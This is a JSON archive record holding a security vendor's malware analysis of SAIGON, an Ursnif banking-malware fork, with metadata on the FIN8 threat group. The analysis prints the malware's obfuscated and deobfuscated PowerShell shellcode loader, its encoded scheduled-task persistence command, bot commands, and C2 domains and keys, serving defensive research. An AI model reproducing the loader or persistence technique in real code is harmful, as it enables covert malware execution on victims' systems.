{
	"id": "8d68b478-f12f-4792-ba94-325fffa18545",
	"created_at": "2026-04-06T00:12:05.454557Z",
	"updated_at": "2026-04-10T03:34:24.104831Z",
	"deleted_at": null,
	"sha1_hash": "a7d97484105cc4c4972e84c7abc1a0e2a8653d0c",
	"title": "SAIGON, the Mysterious Ursnif Fork",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 525574,
	"plain_text": "SAIGON, the Mysterious Ursnif Fork\r\nBy Mandiant\r\nPublished: 2020-01-09 · Archived: 2026-04-05 23:07:54 UTC\r\nWritten by: Sandor Nemes, Zander Work\r\nUrsnif (aka Gozi/Gozi-ISFB) is one of the oldest banking malware families still in active distribution. While the\r\nfirst major version of Ursnif was identified in 2006, several subsequent versions have been released in large part\r\ndue source code leaks. FireEye reported on a previously unidentified variant of the Ursnif malware family to our\r\nthreat intelligence subscribers in September 2019 after identification of a server that hosted a collection of tools,\r\nwhich included multiple point-of-sale malware families. This malware self-identified as \"SaiGon version 3.50 rev\r\n132,\" and our analysis suggests it is likely based on the source code of the v3 (RM3) variant of Ursnif. Notably,\r\nrather than being a full-fledged banking malware, SAIGON's capabilities suggest it is a more generic backdoor,\r\nperhaps tailored for use in targeted cybercrime operations.\r\nTechnical Analysis\r\nBehavior\r\nSAIGON appears on an infected computer as a Base64-encoded shellcode blob stored in a registry key, which is\r\nlaunched using PowerShell via a scheduled task. As with other Ursnif variants, the main component of the\r\nmalware is a DLL file. This DLL has a single exported function, DllRegisterServer, which is an unused empty\r\nfunction. All the relevant functionality of the malware executes when the DLL is loaded and initialized via its\r\nentry point.\r\nUpon initial execution, the malware generates a machine ID using the creation timestamp of either\r\n%SystemDrive%\\pagefile.sys or %SystemDrive%\\hiberfil.sys (whichever is identified first). Interestingly, the\r\nsystem drive is queried in a somewhat uncommon way, directly from the KUSER_SHARED_DATA structure (via\r\nSharedUserData→NtSystemRoot). KUSER_SHARED_DATA is a structure located in a special part of kernel\r\nmemory that is mapped into the memory space of all user-mode processes (thus shared), and always located at a\r\nfixed memory address (0x7ffe0000, pointed to by the SharedUserData symbol).\r\nThe code then looks for the current shell process by using a call to\r\nGetWindowThreadProcessId(GetShellWindow(), …). The code also features a special check; if the checksum\r\ncalculated from the name of the shell's parent process matches the checksum of explorer.exe (0xc3c07cf0), it will\r\nattempt to inject into the parent process instead.\r\nSAIGON then injects into this process using the classic VirtualAllocEx / WriteProcessMemory /\r\nCreateRemoteThread combination of functions. Once this process is injected, it loads two embedded files from\r\nwithin its binary:\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 1 of 14\n\nA PUBLIC.KEY file, which is used to verify and decrypt other embedded files and data coming from the\r\nmalware's command and control (C2) server\r\nA RUN.PS1 file, which is a PowerShell loader script template that contains a \"@SOURCE@\" placeholder\r\nwithin the script:\r\n$hanksefksgu = [System.Convert]::FromBase64String(\"@SOURCE@\");\r\nInvoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"JHdneG1qZ2J4dGo9J\r\nhbmtzZWZrc2d1Lkxlbmd0aDskdHNrdm89IltEbGxJbXBvcnQoYCJrZXJuZWwzMmAiKV1gbnB1YmxpYyBzdGF\r\n0aWMgZXh0ZXJuIEludDMyIEdldEN1cnJlbnRQcm9jZXNzKCk7YG5bRGxsSW1wb3J0KGAidXNlcjMyYCIpXWB\r\nucHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldERDKEludFB0ciBteHhhaHhvZik7YG5bRGxsSW1wb3J0K\r\nGAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlUmVtb3RlVGhyZWFkKEl\r\nudFB0ciBoY3d5bHJicywgSW50UHRyIHdxZXIsdWludCBzZmosSW50UHRyIHdsbGV2LEludFB0ciB3d2RyaWN\r\n0d2RrLHVpbnQga2xtaG5zayxJbnRQdHIgdmNleHN1YWx3aGgpO2BuW0RsbEltcG9ydChgImtlcm5lbDMyYCI\r\npXWBucHVibGljIHN0YXRpYyBleHRlcm4gVUludDMyIFdhaXRGb3JTaW5nbGVPYmplY3QoSW50UHRyIGFqLC\r\nBVSW50MzIga2R4c3hldik7YG5bRGxsSW1wb3J0KGAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dG\r\nVybiBJbnRQdHIgVmlydHVhbEFsbG9jKEludFB0ciB4eSx1aW50IGtuYnQsdWludCB0bXJ5d2h1LHVpbnQgd2d1\r\ndHVkKTsiOyR0c2thYXhvdHhlPUFkZC1UeXBlIC1tZW1iZXJEZWZpbml0aW9uICR0c2t2byAtTmFtZSAnV2luMzI\r\nnIC1uYW1lc3BhY2UgV2luMzJGdW5jdGlvbnMgLXBhc3N0aHJ1OyRtaHhrcHVsbD0kdHNrYWF4b3R4ZTo6Vml\r\nydHVhbEFsbG9jKDAsJHdneG1qZ2J4dGosMHgzMDAwLDB4NDApO1tTeXN0ZW0uUnVudGltZS5JbnRlcm9wU\r\n2VydmljZXMuTWFyc2hhbF06OkNvcHkoJGhhbmtzZWZrc2d1LDAsJG1oeGtwdWxsLCR3Z3htamdieHRqKTskd\r\nGRvY25ud2t2b3E9JHRza2FheG90eGU6OkNyZWF0ZVJlbW90ZVRocmVhZCgtMSwwLDAsJG1oeGtwdWxsLC\r\nRtaHhrcHVsbCwwLDApOyRvY3h4am1oaXltPSR0c2thYXhvdHhlOjpXYWl0Rm9yU2luZ2xlT2JqZWN0KCR0ZG\r\n9jbm53a3ZvcSwzMDAwMCk7\")));\r\nThe malware replaces the \"@SOURCE@\" placeholder from this PowerShell script template with a Base64-\r\nencoded version of itself, and writes the PowerShell script to a registry value named \"PsRun\" under the\r\n\"HKEY_CURRENT_USER\\Identities\\{}\" registry key (Figure 1).\r\nFigure 1: PowerShell script written to PsRun\r\nThe instance of SAIGON then creates a new scheduled task (Figure 2) with the name \"Power\" (e.g. PowerSgs). If\r\nthis is unsuccessful for any reason, it falls back to using the\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 2 of 14\n\n\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" registry key to enable itself to\r\nmaintain persistence through system reboot.\r\nFigure 2: Scheduled task\r\nRegardless of the persistence mechanism used, the command that executes the binary from the registry is similar\r\nto the following:\r\nPowerShell.exe -windowstyle hidden -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwASQBkAGUAbgB0AGkAdABpAGUAcwBcAHsA\r\nOQA1AEUANQBCAC0ARAAyADEAOAAtADAAQQBCADgALQA1AEQANwBGAC0AMgBDADcAOAA5AEMANQA5\r\nAEIAMQBEAEYAfQAnACkALgBQAHMAUgB1AG4A\r\nAfter removing the Base64 encoding from this command, it looks something like \"iex (gp 'HKCU:\\\\Identities\\\\\r\n{43B95E5B-D218-0AB8-5D7F-2C789C59B1DF}').PsRun.\" When executed, this command retrieves the contents\r\nof the previous registry value using Get-ItemProperty (gp) and executes it using Invoke-Expression (iex).\r\nFinally, the PowerShell code in the registry allocates a block of memory, copies the Base64-decoded shellcode\r\nblob into it, launches a new thread pointing to the area using CreateRemoteThread, and waits for the thread to\r\ncomplete. The following script is a deobfuscated and beautified version of the PowerShell.\r\n$hanksefksgu = [System.Convert]::FromBase64String(\"@SOURCE@\");\r\n$wgxmjgbxtj = $hanksefksgu.Length;\r\n$tskvo = @\"\r\n[DllImport(\"kernel32\")]\r\npublic static extern Int32 GetCurrentProcess();\r\n[DllImport(\"user32\")]\r\npublic static extern IntPtr GetDC(IntPtr mxxahxof);\r\n[DllImport(\"kernel32\")]\r\npublic static extern IntPtr CreateRemoteThread(IntPtr hcwylrbs, IntPtr wqer, uint sfj, IntPtr wllev, IntPtr wwdr\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 3 of 14\n\n[DllImport(\"kernel32\")]\r\npublic static extern UInt32 WaitForSingleObject(IntPtr aj, UInt32 kdxsxev);\r\n[DllImport(\"kernel32\")]\r\npublic static extern IntPtr VirtualAlloc(IntPtr xy, uint knbt, uint tmrywhu, uint wgutud);\r\n\"@;\r\n$tskaaxotxe = Add-Type -memberDefinition $tskvo -Name 'Win32' -namespace Win32Functions -passthru;\r\n$mhxkpull = $tskaaxotxe::VirtualAlloc(0, $wgxmjgbxtj, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Co\r\n$tdocnnwkvoq = $tskaaxotxe::CreateRemoteThread(-1, 0, 0, $mhxkpull, $mhxkpull, 0, 0);\r\n$ocxxjmhiym = $tskaaxotxe::WaitForSingleObject($tdocnnwkvoq, 30000);\r\nOnce it has established a foothold on the machine, SAIGON loads and parses its embedded LOADER.INI\r\nconfiguration (see the Configuration section for details) and starts its main worker thread, which continuously\r\npolls the C2 server for commands.\r\nConfiguration\r\nThe Ursnif source code incorporated a concept referred to as \"joined data,\" which is a set of compressed/encrypted\r\nfiles bundled with the executable file. Early variants relied on a special structure after the PE header and marked\r\nwith specific magic bytes (\"JF,\" \"FJ,\" \"J1,\" \"JJ,\" depending on the Ursnif version). In Ursnif v3 (Figure 3), this\r\ndata is no longer simply after the PE header but pointed to by the Security Directory in the PE header, and the\r\nmagic bytes have also been changed to \"WD\" (0x4457).\r\nFigure 3: Ursnif v3 joined data\r\nThis structure defines the various properties (offset, size, and type) of the bundled files. This is the same exact\r\nmethod used by SAIGON for storing its three embedded files:\r\nPUBLIC.KEY - RSA public key\r\nRUN.PS1 - PowerShell script template\r\nLOADER.INI - Malware configuration\r\nThe following is a list of configuration options observed:\r\nName\r\nChecksum\r\nName Description\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 4 of 14\n\n0x97ccd204 HostsList List of C2 URLs used for communication\r\n0xd82bcb60 ServerKey Serpent key used for communicating with the C2\r\n0x23a02904 Group Botnet ID\r\n0x776c71c0 IdlePeriod Number of seconds to wait before the initial request to the C2\r\n0x22aa2818 MinimumUptime Waits until the uptime is greater than this value (in seconds)\r\n0x5beb543e LoadPeriod Number of seconds to wait between subsequent requests to the C2\r\n0x84485ef2 HostKeepTime\r\nThe number of minutes to wait before switching to the next C2 server\r\nin case of failures\r\nTable 1: Configuration options\r\nCommunication\r\nWhile the network communication structure of SAIGON is very similar to Ursnif v3, there are some subtle\r\ndifferences. SAIGON beacons are sent to the C2 servers as multipart/form-data encoded requests via HTTP POST\r\nto the \"/index.html\" URL path. The payload to be sent is first encrypted using Serpent encryption (in ECB mode vs\r\nCBC mode), then Base64-encoded. Responses from the server are encrypted with the same Serpent key and\r\nsigned with the server's RSA private key.\r\nSAIGON uses the following User-Agent header in its HTTP requests: \"Mozilla/5.0 (Windows NT ; rv:58.0)\r\nGecko/20100101 Firefox/58.0,\" where consists of the operating system's major and minor version number (e.g.\r\n10.0 on Windows 10, and 6.1 on Windows 7) and the string \"; Win64; x64\" is appended when the operating\r\nsystem is 64-bit. This yields the following example User Agent strings:\r\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0\" on Windows 10 64-\r\nbit\r\n\"Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0\" on Windows 7 32-bit\r\nThe request format is also somewhat similar to the one used by other Ursnif variants described in Table 2:\r\nver=%u\u0026group=%u\u0026id=%08x%08x%08x%08x\u0026type=%u\u0026uptime=%u\u0026knock=%u\r\nName Description\r\nver\r\nBot version (unlike other Ursnif variants this only contains the build number, so only the xxx digits\r\nfrom \"3.5.xxx\")\r\ngroup Botnet ID\r\nid Client ID\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 5 of 14\n\ntype Request type (0 – when polling for tasks, 6 – for system info data uploads)\r\nuptime Machine uptime in seconds\r\nknock\r\nThe bot \"knock\" period (number of seconds to wait between subsequent requests to the C2, see the\r\nLoadPeriod configuration option)\r\nTable 2: Request format components\r\nCapabilities\r\nSAIGON implements the bot commands described in Table 3.\r\nName\r\nChecksum\r\nName Description\r\n0x45d4bf54 SELF_DELETE\r\nUninstalls itself from the machine; removes scheduled task and deletes its\r\nregistry key\r\n0xd86c3bdc LOAD_UPDATE\r\nDownload data from URL, decrypt and verify signature, save it as a .ps1\r\nfile and run it using \"PowerShell.exe -ep unrestricted -file %s\"\r\n0xeac44e42 GET_SYSINFO\r\nCollects and uploads system information by running:\r\n1. \"systeminfo.exe\"\r\n2. \"net view\"\r\n3. \"nslookup 127.0.0.1\"\r\n4. \"tasklist.exe /SVC\"\r\n5. \"driverquery.exe\"\r\n6. \"reg.exe query\r\n\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\"\r\n/s\"\r\n0x83bf8ea0 LOAD_DLL\r\nDownload data from URL, decrypt and verify, then use the same shellcode\r\nloader that was used to load itself into memory to load the DLL into the\r\ncurrent process\r\n0xa8e78c43 LOAD_EXE\r\nDownload data from URL, decrypt and verify, save with an .exe extension,\r\ninvoke using ShellExecute\r\nTable 3: SAIGON bot commands\r\nComparison to Ursnif v3\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 6 of 14\n\nTable 4 shows the similarities between Ursnif v3 and the analyzed SAIGON samples (differences are highlighted\r\nin bold):\r\nUrsnif v3 (RM3) Saigon (Ursnif v3.5?)\r\nPersistence method\r\nScheduled task that executes code\r\nstored in a registry key using\r\nPowerShell\r\nScheduled task that executes code\r\nstored in a registry key using\r\nPowerShell\r\nConfiguration storage\r\nSecurity PE directory points to\r\nembedded binary data starting with\r\n'WD' magic bytes (aka. Ursnif \"joined\r\nfiles\")\r\nSecurity PE directory points to\r\nembedded binary data starting with\r\n'WD' magic bytes (aka. Ursnif \"joined\r\nfiles\")\r\nPRNG algorithm xorshift64* xorshift64*\r\nChecksum algorithm\r\nJAMCRC (aka. CRC32 with all the\r\nbits flipped)\r\nCRC32, with the result rotated to the\r\nright by 1 bit\r\nData compression aPLib aPLib\r\nEncryption/Decryption Serpent CBC Serpent ECB\r\nData integrity\r\nverification\r\nRSA signature RSA signature\r\nCommunication method HTTP POST requests HTTP POST requests\r\nPayload encoding\r\nUnpadded Base64 ('+' and '/' are\r\nreplaced with '_2B' and '_2F'\r\nrespectively), random slashes are\r\nadded\r\nUnpadded Base64 ('+' and '/' are\r\nreplaced with '%2B' and '%2F'\r\nrespectively), no random slashes\r\nUses URL path\r\nmimicking?\r\nYes No\r\nUses PX file format? Yes No\r\nTable 4: Similarities and differences between Ursnif v3 and SAIGON samples\r\nFigure 4 shows Ursnif v3's use of URL path mimicking. This tactic has not been seen in other Ursnif variants,\r\nincluding SAIGON.\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 7 of 14\n\nFigure 4: Ursnif v3 mimicking (red) previously seen benign browser traffic (green) not seen in SAIGON samples\r\nImplications\r\nIt is currently unclear whether SAIGON is representative of a broader evolution in the Ursnif malware ecosystem.\r\nThe low number of SAIGON samples identified thus far—all of which have compilations timestamps in 2018—\r\nmay suggest that SAIGON was a temporary branch of Ursnif v3 adapted for use in a small number of operations.\r\nNotably, SAIGON’s capabilities also distinguish it from typical banking malware and may be more suited toward\r\nsupporting targeted intrusion operations. This is further supported via our prior identification of SAIGON on a\r\nserver that hosted tools used in point-of-sale intrusion operations as well as VISA’s recent notification of the\r\nmalware appearing on a compromised hospitality organization’s network along with tools previously used by\r\nFIN8.\r\nAcknowledgements\r\nThe authors would like to thank Kimberly Goody, Jeremy Kennelly and James Wyke for their support on this blog\r\npost.\r\nAppendix A: Samples\r\nThe following is a list of samples including their embedded configuration:\r\nSample SHA256: 8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5\r\nSample Version: 3.50.132\r\nPE Timestamp: 2018-07-07T14:51:30\r\nXOR Cookie: 0x40d822d9\r\nC2 URLs:\r\nhttps://google-download[.]com\r\nhttps://cdn-google-eu[.]com\r\nhttps://cdn-gmail-us[.]com\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 8 of 14\n\nGroup / Botnet ID: 1001\r\nServer Key: rvXxkdL5DqOzIRfh\r\nIdle Period: 30\r\nLoad Period: 300\r\nHost Keep Time: 1440\r\nRSA Public Key:\r\n(0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c\r\n021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915\r\nd0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)\r\nSample SHA256: c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6\r\nSample Version: 3.50.132\r\nPE Timestamp: 2018-07-07T14:51:41\r\nXOR Cookie: 0x40d822d9\r\nC2 URLs:\r\nhttps://google-download[.]com\r\nhttps://cdn-google-eu[.]com\r\nhttps://cdn-gmail-us[.]com\r\nGroup / Botnet ID: 1001\r\nServer Key: rvXxkdL5DqOzIRfh\r\nIdle Period: 30\r\nLoad Period: 300\r\nHost Keep Time: 1440\r\nRSA Public Key:\r\n(0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c\r\n021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915\r\nd0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)\r\nSample SHA256: 431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e\r\nSample Version: 3.50.199\r\nPE Timestamp: 2018-11-15T11:17:09\r\nXOR Cookie: 0x40d822d9\r\nC2 URLs:\r\nhttps://mozilla-yahoo[.]com\r\nhttps://cdn-mozilla-sn45[.]com\r\nhttps://cdn-digicert-i31[.]com\r\nGroup / Botnet ID: 1000\r\nServer Key: rvXxkdL5DqOzIRfh\r\nIdle Period: 60\r\nLoad Period: 300\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 9 of 14\n\nHost Keep Time: 1440\r\nRSA Public Key:\r\n(0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b15\r\n02ccb5c021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f5\r\n93518a2cf4915d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)\r\nSample SHA256: 628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9\r\nSample Version: 3.50.209\r\nPE Timestamp: 2018-12-04T10:47:56\r\nXOR Cookie: 0x40d822d9\r\nC2 URLs\r\nhttp://softcloudstore[.]com\r\nhttp://146.0.72.76\r\nhttp://setworldtime[.]com\r\nhttps://securecloudbase[.]com\r\nBotnet ID: 1000\r\nServer Key: 0123456789ABCDEF\r\nIdle Period: 20\r\nMinimum Uptime: 300\r\nLoad Period: 1800\r\nHost Keep Time: 360\r\nRSA Public Key:\r\n(0xdb7c3a9ea68fbaf5ba1aebc782be3a9e75b92e677a114b52840d2bbafa8ca49da40a64664d80cd62d9453\r\n34f8457815dd6e75cffa5ee33ae486cb6ea1ddb88411d97d5937ba597e5c430a60eac882d8207618d14b660\r\n70ee8137b4beb8ecf348ef247ddbd23f9b375bb64017a5607cb3849dc9b7a17d110ea613dc51e9d2aded, 0x10001)\r\nAppendix B: IOCs\r\nSample hashes:\r\n8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5\r\nc6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6\r\n431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e [VT]\r\n628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9 [VT]\r\nC2 servers:\r\nhttps://google-download[.]com\r\nhttps://cdn-google-eu[.]com\r\nhttps://cdn-gmail-us[.]com\r\nhttps://mozilla-yahoo[.]com\r\nhttps://cdn-mozilla-sn45[.]com\r\nhttps://cdn-digicert-i31[.]com\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 10 of 14\n\nhttp://softcloudstore[.]com\r\nhttp://146.0.72.76\r\nhttp://setworldtime[.]com\r\nhttps://securecloudbase[.]com\r\nUser-Agent:\r\n\"Mozilla/5.0 (Windows NT ; rv:58.0) Gecko/20100101 Firefox/58.0\"\r\nOther host-based indicators:\r\n\"Power\" scheduled task\r\n\"PsRun\" value under the HKCU\\Identities\\{} registry key\r\nAppendix C: Shellcode Converter Script\r\nThe following Python script is intended to ease analysis of this malware. This script converts the SAIGON\r\nshellcode blob back into its original DLL form by removing the PE loader and restoring its PE header. These\r\nchanges make the analysis of SAIGON shellcode blobs much simpler (e.g. allow loading of the files in IDA),\r\nhowever, the created DLLs will still crash when run in a debugger as the malware still relies on its (now removed)\r\nPE loader during the process injection stage of its execution. After this conversion process, the sample is relatively\r\neasy to analyze due to its small size and because it is not obfuscated.\r\n#!/usr/bin/env python3\r\nimport argparse\r\nimport struct\r\nfrom datetime import datetime\r\nMZ_HEADER = bytes.fromhex(\r\n'4d5a90000300000004000000ffff0000'\r\n'b8000000000000004000000000000000'\r\n'00000000000000000000000000000000'\r\n'00000000000000000000000080000000'\r\n'0e1fba0e00b409cd21b8014ccd215468'\r\n'69732070726f6772616d2063616e6e6f'\r\n'742062652072756e20696e20444f5320'\r\n'6d6f64652e0d0d0a2400000000000000'\r\n)\r\ndef main():\r\nparser = argparse.ArgumentParser(description=\"Shellcode to PE converter for the Saigon malware family.\")\r\nparser.add_argument(\"sample\")\r\nargs = parser.parse_args()\r\nwith open(args.sample, \"rb\") as f:\r\ndata = bytearray(f.read())\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 11 of 14\n\nif data.startswith(b'MZ'):\r\nlfanew = struct.unpack_from('=I', data, 0x3c)[0]\r\nprint('This is already an MZ/PE file.')\r\nreturn\r\nelif not data.startswith(b'\\xe9'):\r\nprint('Unknown file type.')\r\nreturn\r\nstruct.pack_into('=I', data, 0, 0x00004550)\r\nif data[5] == 0x01:\r\nstruct.pack_into('=H', data, 4, 0x14c)\r\nelif data[5] == 0x86:\r\nstruct.pack_into('=H', data, 4, 0x8664)\r\nelse:\r\nprint('Unknown architecture.')\r\nreturn\r\n# file alignment\r\nstruct.pack_into('=I', data, 0x3c, 0x200)\r\noptional_header_size, _ = struct.unpack_from('=HH', data, 0x14)\r\nmagic, _, _, size_of_code = struct.unpack_from('=HBBI', data, 0x18)\r\nprint('Magic:', hex(magic))\r\nprint('Size of code:', hex(size_of_code))\r\nbase_of_code, base_of_data = struct.unpack_from('=II', data, 0x2c)\r\nif magic == 0x20b:\r\n# base of data, does not exist in PE32+\r\nif size_of_code \u0026 0x0fff:\r\ntmp = (size_of_code \u0026 0xfffff000) + 0x1000\r\nelse:\r\ntmp = size_of_code\r\nbase_of_data = base_of_code + tmp\r\nprint('Base of code:', hex(base_of_code))\r\nprint('Base of data:', hex(base_of_data))\r\ndata[0x18 + optional_header_size : 0x1000] = b'\\0' * (0x1000 - 0x18 - optional_header_size)\r\nsize_of_header = struct.unpack_from('=I', data, 0x54)[0]\r\ndata_size = 0x3000\r\npos = data.find(struct.pack('=IIIII', 3, 5, 7, 11, 13))\r\nif pos \u003e= 0:\r\ndata_size = pos - base_of_data\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 12 of 14\n\nsection = 0\r\nstruct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,\r\nb'.text',\r\nsize_of_code, base_of_code,\r\nbase_of_data - base_of_code, size_of_header,\r\n0, 0,\r\n0, 0,\r\n0x60000020\r\n)\r\nsection += 1\r\nstruct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,\r\nb'.rdata',\r\ndata_size, base_of_data,\r\ndata_size, size_of_header + base_of_data - base_of_code,\r\n0, 0,\r\n0, 0,\r\n0x40000040\r\n)\r\nsection += 1\r\nstruct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,\r\nb'.data',\r\n0x1000, base_of_data + data_size,\r\n0x1000, size_of_header + base_of_data - base_of_code + data_size,\r\n0, 0,\r\n0, 0,\r\n0xc0000040\r\n)\r\nif magic == 0x20b:\r\nsection += 1\r\nstruct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,\r\nb'.pdata',\r\n0x1000, base_of_data + data_size + 0x1000,\r\n0x1000, size_of_header + base_of_data - base_of_code + data_size + 0x1000,\r\n0, 0,\r\n0, 0,\r\n0x40000040\r\n)\r\nsection += 1\r\nstruct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,\r\nb'.bss',\r\n0x1600, base_of_data + data_size + 0x2000,\r\nlen(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data - base_of_code + data_size + 0x2000\r\n0, 0,\r\n0, 0,\r\n0xc0000040\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 13 of 14\n\n)\r\nelse:\r\nsection += 1\r\nstruct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,\r\nb'.bss',\r\n0x1000, base_of_data + data_size + 0x1000,\r\n0x1000, size_of_header + base_of_data - base_of_code + data_size + 0x1000,\r\n0, 0,\r\n0, 0,\r\n0xc0000040\r\n)\r\nsection += 1\r\nstruct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,\r\nb'.reloc',\r\n0x2000, base_of_data + data_size + 0x2000,\r\nlen(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data - base_of_code + data_size + 0x2000\r\n0, 0,\r\n0, 0,\r\n0x40000040\r\n)\r\nheader = MZ_HEADER + data[:size_of_header - len(MZ_HEADER)]\r\npe = bytearray(header + data[0x1000:])\r\nwith open(args.sample + '.dll', 'wb') as f:\r\nf.write(pe)\r\nlfanew = struct.unpack_from('=I', pe, 0x3c)[0]\r\ntimestamp = struct.unpack_from('=I', pe, lfanew + 8)[0]\r\nprint('PE timestamp:', datetime.utcfromtimestamp(timestamp).isoformat())\r\nif __name__ == \"__main__\":\r\nmain()\r\nPosted in\r\nThreat Intelligence\r\nSecurity \u0026 Identity\r\nSource: https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nhttps://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html"
	],
	"report_names": [
		"saigon-mysterious-ursnif-fork.html"
	],
	"threat_actors": [
		{
			"id": "3150bf4f-288a-44b8-ab48-0ced9b052a0c",
			"created_at": "2025-08-07T02:03:24.910023Z",
			"updated_at": "2026-04-10T02:00:03.713077Z",
			"deleted_at": null,
			"main_name": "GOLD HUXLEY",
			"aliases": [
				"CTG-6969 ",
				"FIN8 "
			],
			"source_name": "Secureworks:GOLD HUXLEY",
			"tools": [
				"Gozi ISFB",
				"Powersniff"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "5bdde906-0416-42ee-9100-5ebd95dda77a",
			"created_at": "2023-01-06T13:46:38.601977Z",
			"updated_at": "2026-04-10T02:00:03.035842Z",
			"deleted_at": null,
			"main_name": "FIN8",
			"aliases": [
				"ATK113",
				"G0061"
			],
			"source_name": "MISPGALAXY:FIN8",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "72d09c17-e33e-4c2f-95db-f204848cc797",
			"created_at": "2022-10-25T15:50:23.832551Z",
			"updated_at": "2026-04-10T02:00:05.336787Z",
			"deleted_at": null,
			"main_name": "FIN8",
			"aliases": [
				"FIN8",
				"Syssphinx"
			],
			"source_name": "MITRE:FIN8",
			"tools": [
				"BADHATCH",
				"PUNCHBUGGY",
				"Ragnar Locker",
				"PUNCHTRACK",
				"dsquery",
				"Nltest",
				"Sardonic",
				"PsExec",
				"Impacket"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "fc80a724-e567-457c-82bb-70147435e129",
			"created_at": "2022-10-25T16:07:23.624289Z",
			"updated_at": "2026-04-10T02:00:04.691643Z",
			"deleted_at": null,
			"main_name": "FIN8",
			"aliases": [
				"ATK 113",
				"G0061",
				"Storm-0288",
				"Syssphinx"
			],
			"source_name": "ETDA:FIN8",
			"tools": [
				"ALPHV",
				"ALPHVM",
				"BadHatch",
				"BlackCat",
				"Noberus",
				"PSVC",
				"PUNCHTRACK",
				"PoSlurp",
				"Powersniff",
				"PunchBuggy",
				"Ragnar Loader",
				"Ragnar Locker",
				"RagnarLocker",
				"Sardonic",
				"ShellTea"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434325,
	"ts_updated_at": 1775792064,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
